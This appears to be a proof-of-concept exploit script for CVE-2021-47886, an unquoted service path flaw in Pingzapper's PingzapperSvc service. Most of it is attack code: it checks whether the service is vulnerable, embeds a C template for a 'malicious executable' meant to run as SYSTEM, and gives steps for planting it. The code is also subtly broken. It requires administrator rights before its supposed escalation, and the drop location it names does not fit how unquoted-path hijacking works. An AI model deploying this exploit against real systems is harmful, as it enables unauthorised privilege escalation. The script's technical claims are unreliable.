CVE-2021-47886 Pingzapper PingzapperSvc服务未引用路径权限提升漏洞

#!/usr/bin/env python3 # CVE-2021-47886 PoC - Pingzapper Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Pingzapper 2.3.1 # Author: Security Researcher # Reference: https://www.exploit-db.com/exploits/49626 import os import sys import subprocess import ctypes def is_admin(): """Check if the current process has administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def create_malicious_executable(): """Create a malicious executable that will be placed in the unquoted path""" malicious_code = ''' #include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Entry point for the malicious executable int main() { // Create a reverse shell or execute arbitrary code here // This code runs with SYSTEM privileges when executed by the service // Example: Write to a log file to demonstrate execution FILE *fp = fopen("C:\\\\Windows\\\\Temp\\\\poc_log.txt", "a"); if (fp) { fprintf(fp, "[+] CVE-2021-47886 exploit triggered at %s\n", __TIMESTAMP__); fclose(fp); } // Execute payload with SYSTEM privileges // system("cmd.exe /c <your_command_here>"); return 0; } ''' # In a real attack scenario, compile this to PZService.exe # and place it in C:\Program Files (x86)\ or C:\Program\ print("[*] Malicious executable template created") print("[*] Compile and place as: C:\\Program Files (x86)\\PZService.exe") return malicious_code def check_vulnerable_service(): """Check if the PingzapperSvc service is vulnerable""" try: # Query the service configuration result = subprocess.run( ['sc', 'qc', 'PingzapperSvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[*] PingzapperSvc service found") # Check if path is unquoted if 'Program Files' in result.stdout and '"' not in result.stdout.split('BINARY_PATH_NAME')[1].split('\n')[0]: print("[+] Service is VULNERABLE - unquoted path detected") print("[*] Path: C:\\\\Program Files (x86)\\\\Pingzapper\\\\PZService.exe") return True else: print("[-] Service path appears to be quoted or not found") return False else: print("[-] PingzapperSvc service not found") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2021-47886 - Pingzapper Unquoted Service Path Exploit") print("=" * 60) if not is_admin(): print("[-] This exploit requires administrator privileges") print("[*] Please run as administrator") return False print("[+] Running with administrator privileges") # Step 1: Check if service is vulnerable print("\n[*] Step 1: Checking PingzapperSvc service...") if not check_vulnerable_service(): print("[-] Target is not vulnerable or service not found") return False # Step 2: Check write permissions to intermediate directories print("\n[*] Step 2: Checking write permissions to C:\\\\Program Files (x86)\\...") target_dir = r'C:\Program Files (x86)' if os.access(target_dir, os.W_OK): print(f"[+] Write access to {target_dir} - VULNERABLE") else: print(f"[-] No write access to {target_dir}") print("[*] Exploitation may still be possible with limited privileges") # Step 3: Create malicious executable print("\n[*] Step 3: Generating malicious executable...") create_malicious_executable() print("\n[!] IMPORTANT: This is for educational purposes only") print("[!] Unauthorized access to computer systems is illegal") print("\n[*] To complete exploitation:") print(" 1. Compile the malicious code to PZService.exe") print(f" 2. Place it in: C:\\\\Program Files (x86)\\\\PZService.exe") print(" 3. Wait for service restart or system reboot") print(" 4. The malicious code will execute with SYSTEM privileges") return True if __name__ == '__main__': exploit()